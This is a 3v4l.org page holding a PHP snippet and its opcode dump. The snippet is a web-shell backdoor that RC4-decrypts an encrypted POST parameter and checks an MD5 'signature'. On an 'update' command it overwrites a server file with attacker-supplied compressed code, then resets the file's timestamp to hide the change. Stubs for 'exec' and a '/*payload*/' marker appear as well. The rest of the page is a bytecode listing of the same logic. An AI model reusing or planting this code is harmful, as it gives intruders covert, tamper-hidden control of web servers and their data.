3v4l.org

run code in 300+ PHP versions simultaneously
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (is_set ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (true/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 288
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 40
Branch analysis from position: 40
2 jumps found. (Code = 44) Position 1 = 44, Position 2 = 29
Branch analysis from position: 44
1 jumps found. (Code = 42) Position 1 = 108
Branch analysis from position: 108
2 jumps found. (Code = 44) Position 1 = 112, Position 2 = 57
Branch analysis from position: 112
1 jumps found. (Code = 42) Position 1 = 201
Branch analysis from position: 201
2 jumps found. (Code = 44) Position 1 = 207, Position 2 = 124
Branch analysis from position: 207
2 jumps found. (Code = 46) Position 1 = 216, Position 2 = 224
Branch analysis from position: 216
2 jumps found. (Code = 43) Position 1 = 225, Position 2 = 288
Branch analysis from position: 225
5 jumps found. (Code = 188) Position 1 = 235, Position 2 = 286, Position 3 = 286, Position 4 = 286, Position 5 = 228
Branch analysis from position: 235
1 jumps found. (Code = 42) Position 1 = 287
Branch analysis from position: 287
2 jumps found. (Code = 43) Position 1 = 289, Position 2 = 300
Branch analysis from position: 289
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 300
Branch analysis from position: 286
1 jumps found. (Code = 42) Position 1 = 287
Branch analysis from position: 287
Branch analysis from position: 286
Branch analysis from position: 286
Branch analysis from position: 228
2 jumps found. (Code = 44) Position 1 = 230, Position 2 = 235
Branch analysis from position: 230
2 jumps found. (Code = 44) Position 1 = 232, Position 2 = 286
Branch analysis from position: 232
2 jumps found. (Code = 44) Position 1 = 234, Position 2 = 286
Branch analysis from position: 234
1 jumps found. (Code = 42) Position 1 = 286
Branch analysis from position: 286
Branch analysis from position: 286
Branch analysis from position: 286
Branch analysis from position: 235
Branch analysis from position: 288
Branch analysis from position: 224
Branch analysis from position: 124
2 jumps found. (Code = 44) Position 1 = 207, Position 2 = 124
Branch analysis from position: 207
Branch analysis from position: 124
Branch analysis from position: 57
2 jumps found. (Code = 44) Position 1 = 112, Position 2 = 57
Branch analysis from position: 112
Branch analysis from position: 57
Branch analysis from position: 29
2 jumps found. (Code = 44) Position 1 = 44, Position 2 = 29
Branch analysis from position: 44
Branch analysis from position: 29
Branch analysis from position: 288
filename:       /in/V0h21
function name:  (null)
number of ops:  301
compiled vars:  !0 = $__, !1 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN_DIM                                               !0, 'key1'
          1        OP_DATA                                                  'da17298d87447351e5473e334c41ba4b'
    3     2        ASSIGN_DIM                                               !0, 'key2'
          3        OP_DATA                                                  'ce0c742ad350ee7e0a26466fd9b5f56b'
    4     4        ASSIGN_DIM                                               !0, 'key3'
          5        OP_DATA                                                  '3bf6228c859400c084adea9a5e5f7b11'
    6     6        INIT_FCALL_BY_NAME                                       'is_set'
          7        CHECK_FUNC_ARG                                           
          8        FETCH_DIM_R                                      ~6      !0, 'key1'
          9        FETCH_FUNC_ARG               global              $5      '_POST'
         10        FETCH_DIM_FUNC_ARG                               $7      $5, ~6
         11        SEND_FUNC_ARG                                            $7
         12        DO_FCALL                                      0  $8      
         13      > JMPZ                                                     $8, ->288
    8    14    >   INIT_FCALL                                               'base64_decode'
         15        FETCH_DIM_R                                      ~11     !0, 'key1'
         16        FETCH_R                      global              ~10     '_POST'
         17        FETCH_DIM_R                                      ~12     ~10, ~11
         18        SEND_VAL                                                 ~12
         19        DO_ICALL                                         $13     
         20        ASSIGN_DIM                                               !0, 'request'
         21        OP_DATA                                                  $13
   10    22        FETCH_DIM_R                                      ~14     !0, 'tmp'
         23        FETCH_DIM_R                                      ~15     ~14, 'i'
         24        FREE                                                     ~15
         25        FETCH_DIM_R                                      ~16     !0, 'tmp'
         26        FETCH_DIM_R                                      ~17     ~16, 'c'
         27        FREE                                                     ~17
         28      > JMP                                                      ->40
   11    29    >   FETCH_DIM_R                                      ~20     !0, 'tmp'
         30        FETCH_DIM_R                                      ~21     ~20, 'i'
         31        FETCH_DIM_R                                      ~23     !0, 'tmp'
         32        FETCH_DIM_R                                      ~24     ~23, 'i'
         33        FETCH_DIM_W                                      $18     !0, 'tmp'
         34        FETCH_DIM_W                                      $19     $18, 'c'
         35        ASSIGN_DIM                                               $19, ~21
         36        OP_DATA                                                  ~24
   10    37        FETCH_DIM_RW                                     $25     !0, 'tmp'
         38        FETCH_DIM_RW                                     $26     $25, 'i'
         39        PRE_INC                                                  $26
         40    >   FETCH_DIM_R                                      ~28     !0, 'tmp'
         41        FETCH_DIM_R                                      ~29     ~28, 'i'
         42        IS_SMALLER                                               ~29, 256
         43      > JMPNZ                                                    ~30, ->29
   12    44    >   FETCH_DIM_W                                      $31     !0, 'tmp'
         45        ASSIGN_DIM                                               $31, 'i'
         46        OP_DATA                                                  0
         47        FETCH_DIM_R                                      ~33     !0, 'tmp'
         48        FETCH_DIM_R                                      ~34     ~33, 'd'
         49        FREE                                                     ~34
         50        FETCH_DIM_R                                      ~35     !0, 'tmp'
         51        FETCH_DIM_R                                      ~36     ~35, 'e'
         52        FREE                                                     ~36
         53        FETCH_DIM_R                                      ~37     !0, 'key2'
         54        STRLEN                                           ~38     ~37
         55        ASSIGN                                                   !1, ~38
         56      > JMP                                                      ->108
   14    57    >   FETCH_DIM_R                                      ~42     !0, 'tmp'
         58        FETCH_DIM_R                                      ~43     ~42, 'd'
         59        FETCH_DIM_R                                      ~46     !0, 'tmp'
         60        FETCH_DIM_R                                      ~47     ~46, 'i'
         61        FETCH_DIM_R                                      ~44     !0, 'tmp'
         62        FETCH_DIM_R                                      ~45     ~44, 'c'
         63        FETCH_DIM_R                                      ~48     ~45, ~47
         64        ADD                                              ~49     ~43, ~48
         65        INIT_FCALL                                               'ord'
         66        FETCH_DIM_R                                      ~51     !0, 'tmp'
         67        FETCH_DIM_R                                      ~52     ~51, 'i'
         68        MOD                                              ~53     ~52, !1
         69        FETCH_DIM_R                                      ~50     !0, 'key2'
         70        FETCH_DIM_R                                      ~54     ~50, ~53
         71        SEND_VAL                                                 ~54
         72        DO_ICALL                                         $55     
         73        ADD                                              ~56     ~49, $55
         74        MOD                                              ~57     ~56, 256
         75        FETCH_DIM_W                                      $40     !0, 'tmp'
         76        ASSIGN_DIM                                               $40, 'd'
         77        OP_DATA                                                  ~57
   15    78        FETCH_DIM_R                                      ~62     !0, 'tmp'
         79        FETCH_DIM_R                                      ~63     ~62, 'i'
         80        FETCH_DIM_R                                      ~60     !0, 'tmp'
         81        FETCH_DIM_R                                      ~61     ~60, 'c'
         82        FETCH_DIM_R                                      ~64     ~61, ~63
         83        FETCH_DIM_W                                      $58     !0, 'tmp'
         84        ASSIGN_DIM                                               $58, 'e'
         85        OP_DATA                                                  ~64
   16    86        FETCH_DIM_R                                      ~67     !0, 'tmp'
         87        FETCH_DIM_R                                      ~68     ~67, 'i'
         88        FETCH_DIM_R                                      ~72     !0, 'tmp'
         89        FETCH_DIM_R                                      ~73     ~72, 'd'
         90        FETCH_DIM_R                                      ~70     !0, 'tmp'
         91        FETCH_DIM_R                                      ~71     ~70, 'c'
         92        FETCH_DIM_R                                      ~74     ~71, ~73
         93        FETCH_DIM_W                                      $65     !0, 'tmp'
         94        FETCH_DIM_W                                      $66     $65, 'c'
         95        ASSIGN_DIM                                               $66, ~68
         96        OP_DATA                                                  ~74
   17    97        FETCH_DIM_R                                      ~77     !0, 'tmp'
         98        FETCH_DIM_R                                      ~78     ~77, 'd'
         99        FETCH_DIM_R                                      ~80     !0, 'tmp'
        100        FETCH_DIM_R                                      ~81     ~80, 'e'
        101        FETCH_DIM_W                                      $75     !0, 'tmp'
        102        FETCH_DIM_W                                      $76     $75, 'c'
        103        ASSIGN_DIM                                               $76, ~78
        104        OP_DATA                                                  ~81
   12   105        FETCH_DIM_RW                                     $82     !0, 'tmp'
        106        FETCH_DIM_RW                                     $83     $82, 'i'
        107        PRE_INC                                                  $83
        108    >   FETCH_DIM_R                                      ~85     !0, 'tmp'
        109        FETCH_DIM_R                                      ~86     ~85, 'i'
        110        IS_SMALLER                                               ~86, 256
        111      > JMPNZ                                                    ~87, ->57
   19   112    >   FETCH_DIM_R                                      ~88     !0, 'tmp'
        113        FETCH_DIM_R                                      ~89     ~88, 'y'
        114        FREE                                                     ~89
        115        FETCH_DIM_R                                      ~90     !0, 'tmp'
        116        FETCH_DIM_R                                      ~91     ~90, 'i'
        117        FREE                                                     ~91
        118        FETCH_DIM_W                                      $92     !0, 'tmp'
        119        ASSIGN_DIM                                               $92, 'd'
        120        OP_DATA                                                  0
        121        FETCH_DIM_R                                      ~94     !0, 'data'
        122        FREE                                                     ~94
        123      > JMP                                                      ->201
   21   124    >   FETCH_DIM_R                                      ~97     !0, 'tmp'
        125        FETCH_DIM_R                                      ~98     ~97, 'i'
        126        ADD                                              ~99     ~98, 1
        127        MOD                                              ~100    ~99, 256
        128        FETCH_DIM_W                                      $95     !0, 'tmp'
        129        ASSIGN_DIM                                               $95, 'i'
        130        OP_DATA                                                  ~100
   22   131        FETCH_DIM_R                                      ~103    !0, 'tmp'
        132        FETCH_DIM_R                                      ~104    ~103, 'd'
        133        FETCH_DIM_R                                      ~107    !0, 'tmp'
        134        FETCH_DIM_R                                      ~108    ~107, 'i'
        135        FETCH_DIM_R                                      ~105    !0, 'tmp'
        136        FETCH_DIM_R                                      ~106    ~105, 'c'
        137        FETCH_DIM_R                                      ~109    ~106, ~108
        138        ADD                                              ~110    ~104, ~109
        139        MOD                                              ~111    ~110, 256
        140        FETCH_DIM_W                                      $101    !0, 'tmp'
        141        ASSIGN_DIM                                               $101, 'd'
        142        OP_DATA                                                  ~111
   23   143        FETCH_DIM_R                                      ~116    !0, 'tmp'
        144        FETCH_DIM_R                                      ~117    ~116, 'i'
        145        FETCH_DIM_R                                      ~114    !0, 'tmp'
        146        FETCH_DIM_R                                      ~115    ~114, 'c'
        147        FETCH_DIM_R                                      ~118    ~115, ~117
        148        FETCH_DIM_W                                      $112    !0, 'tmp'
        149        ASSIGN_DIM                                               $112, 'e'
        150        OP_DATA                                                  ~118
   24   151        FETCH_DIM_R                                      ~121    !0, 'tmp'
        152        FETCH_DIM_R                                      ~122    ~121, 'i'
        153        FETCH_DIM_R                                      ~126    !0, 'tmp'
        154        FETCH_DIM_R                                      ~127    ~126, 'd'
        155        FETCH_DIM_R                                      ~124    !0, 'tmp'
        156        FETCH_DIM_R                                      ~125    ~124, 'c'
        157        FETCH_DIM_R                                      ~128    ~125, ~127
        158        FETCH_DIM_W                                      $119    !0, 'tmp'
        159        FETCH_DIM_W                                      $120    $119, 'c'
        160        ASSIGN_DIM                                               $120, ~122
        161        OP_DATA                                                  ~128
   25   162        FETCH_DIM_R                                      ~131    !0, 'tmp'
        163        FETCH_DIM_R                                      ~132    ~131, 'd'
        164        FETCH_DIM_R                                      ~134    !0, 'tmp'
        165        FETCH_DIM_R                                      ~135    ~134, 'e'
        166        FETCH_DIM_W                                      $129    !0, 'tmp'
        167        FETCH_DIM_W                                      $130    $129, 'c'
        168        ASSIGN_DIM                                               $130, ~132
        169        OP_DATA                                                  ~135
   26   170        INIT_FCALL                                               'chr'
        171        INIT_FCALL                                               'ord'
        172        FETCH_DIM_R                                      ~138    !0, 'tmp'
        173        FETCH_DIM_R                                      ~139    ~138, 'y'
        174        FETCH_DIM_R                                      ~137    !0, 'request'
        175        FETCH_DIM_R                                      ~140    ~137, ~139
        176        SEND_VAL                                                 ~140
        177        DO_ICALL                                         $141    
        178        FETCH_DIM_R                                      ~146    !0, 'tmp'
        179        FETCH_DIM_R                                      ~147    ~146, 'i'
        180        FETCH_DIM_R                                      ~144    !0, 'tmp'
        181        FETCH_DIM_R                                      ~145    ~144, 'c'
        182        FETCH_DIM_R                                      ~148    ~145, ~147
        183        FETCH_DIM_R                                      ~151    !0, 'tmp'
        184        FETCH_DIM_R                                      ~152    ~151, 'd'
        185        FETCH_DIM_R                                      ~149    !0, 'tmp'
        186        FETCH_DIM_R                                      ~150    ~149, 'c'
        187        FETCH_DIM_R                                      ~153    ~150, ~152
        188        ADD                                              ~154    ~148, ~153
        189        MOD                                              ~155    ~154, 256
        190        FETCH_DIM_R                                      ~142    !0, 'tmp'
        191        FETCH_DIM_R                                      ~143    ~142, 'c'
        192        FETCH_DIM_R                                      ~156    ~143, ~155
        193        BW_XOR                                           ~157    $141, ~156
        194        SEND_VAL                                                 ~157
        195        DO_ICALL                                         $158    
        196        ASSIGN_DIM_OP                .=               8          !0, 'data'
        197        OP_DATA                                                  $158
   19   198        FETCH_DIM_RW                                     $159    !0, 'tmp'
        199        FETCH_DIM_RW                                     $160    $159, 'y'
        200        PRE_INC                                                  $160
        201    >   FETCH_DIM_R                                      ~162    !0, 'tmp'
        202        FETCH_DIM_R                                      ~163    ~162, 'y'
        203        FETCH_DIM_R                                      ~164    !0, 'request'
        204        STRLEN                                           ~165    ~164
        205        IS_SMALLER                                               ~163, ~165
        206      > JMPNZ                                                    ~166, ->124
   29   207    >   INIT_FCALL                                               'unserialize'
        208        FETCH_DIM_R                                      ~168    !0, 'data'
        209        SEND_VAL                                                 ~168
        210        DO_ICALL                                         $169    
        211        ASSIGN_DIM                                               !0, 'data'
        212        OP_DATA                                                  $169
   31   213        FETCH_DIM_R                                      ~170    !0, 'data'
        214        TYPE_CHECK                                  128  ~171    ~170
        215      > JMPZ_EX                                          ~171    ~171, ->224
        216    >   INIT_FCALL                                               'md5'
        217        FETCH_DIM_R                                      ~172    !0, 'data'
        218        FETCH_DIM_R                                      ~173    ~172, 'sing'
        219        SEND_VAL                                                 ~173
        220        DO_ICALL                                         $174    
        221        FETCH_DIM_R                                      ~175    !0, 'key3'
        222        IS_EQUAL                                         ~176    $174, ~175
        223        BOOL                                             ~171    ~176
        224    > > JMPZ                                                     ~171, ->288
   32   225    >   FETCH_DIM_R                                      ~177    !0, 'data'
        226        FETCH_DIM_R                                      ~178    ~177, 'action'
        227      > SWITCH_STRING                                            ~178, [ 'update':->235, 'exec':->286, 'info':->286, ], ->286
   34   228    >   CASE                                                     ~178, 'update'
        229      > JMPNZ                                                    ~179, ->235
   40   230    >   CASE                                                     ~178, 'exec'
        231      > JMPNZ                                                    ~179, ->286
        232    >   CASE                                                     ~178, 'info'
        233      > JMPNZ                                                    ~179, ->286
        234    > > JMP                                                      ->286
   35   235    >   INIT_FCALL                                               'filectime'
        236        FETCH_DIM_R                                      ~181    !0, 'file'
        237        SEND_VAL                                                 ~181
        238        DO_ICALL                                         $182    
        239        SUB                                              ~183    $182, 1359152956
        240        ASSIGN_DIM                                               !0, 'info'
        241        OP_DATA                                                  ~183
   36   242        INIT_FCALL                                               'file_put_contents'
        243        FETCH_DIM_R                                      ~184    !0, 'file'
        244        SEND_VAL                                                 ~184
        245        INIT_FCALL                                               'gzinflate'
        246        INIT_FCALL                                               'base64_decode'
        247        FETCH_DIM_R                                      ~185    !0, 'data'
        248        FETCH_DIM_R                                      ~186    ~185, 'data'
        249        SEND_VAL                                                 ~186
        250        DO_ICALL                                         $187    
        251        SEND_VAR                                                 $187
        252        DO_ICALL                                         $188    
        253        SEND_VAR                                                 $188
        254        DO_ICALL                                                 
   37   255        INIT_FCALL                                               'touch'
        256        FETCH_DIM_R                                      ~190    !0, 'file'
        257        SEND_VAL                                                 ~190
        258        SEND_VAL                                                 1359152956
        259        DO_ICALL                                                 
   38   260        INIT_FCALL                                               'md5'
        261        FETCH_DIM_R                                      ~192    !0, 'key1'
        262        FETCH_DIM_R                                      ~193    !0, 'key2'
        263        CONCAT                                           ~194    ~192, ~193
        264        FETCH_DIM_R                                      ~195    !0, 'key3'
        265        CONCAT                                           ~196    ~194, ~195
        266        SEND_VAL                                                 ~196
        267        DO_ICALL                                         $197    
        268        INIT_FCALL                                               'serialize'
        269        INIT_ARRAY                                       ~198    'OK', 'state'
        270        FETCH_DIM_R                                      ~199    !0, 'info'
        271        ADD_ARRAY_ELEMENT                                ~198    ~199, 'info'
        272        SEND_VAL                                                 ~198
        273        DO_ICALL                                         $200    
        274        CONCAT                                           ~201    $197, $200
        275        INIT_FCALL                                               'md5'
        276        FETCH_DIM_R                                      ~202    !0, 'key1'
        277        FETCH_DIM_R                                      ~203    !0, 'key2'
        278        CONCAT                                           ~204    ~202, ~203
        279        FETCH_DIM_R                                      ~205    !0, 'key3'
        280        CONCAT                                           ~206    ~204, ~205
        281        SEND_VAL                                                 ~206
        282        DO_ICALL                                         $207    
        283        CONCAT                                           ~208    ~201, $207
        284        ECHO                                                     ~208
   39   285      > JMP                                                      ->287
   40   286    > > JMP                                                      ->287
        287    >   FREE                                                     ~178
   44   288    > > JMPZ                                                     <true>, ->300
   46   289    >   INIT_FCALL                                               'touch'
        290        FETCH_DIM_R                                      ~209    !0, 'file'
        291        SEND_VAL                                                 ~209
        292        INIT_FCALL                                               'filectime'
        293        FETCH_DIM_R                                      ~210    !0, 'file'
        294        SEND_VAL                                                 ~210
        295        DO_ICALL                                         $211    
        296        ADD                                              ~212    $211, 1
        297        SEND_VAL                                                 ~212
        298        DO_ICALL                                                 
   48   299        ECHO                                                     '%2F%2Apayload%2A%2F'
   49   300    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
164.49 ms | 1420 KiB | 33 Q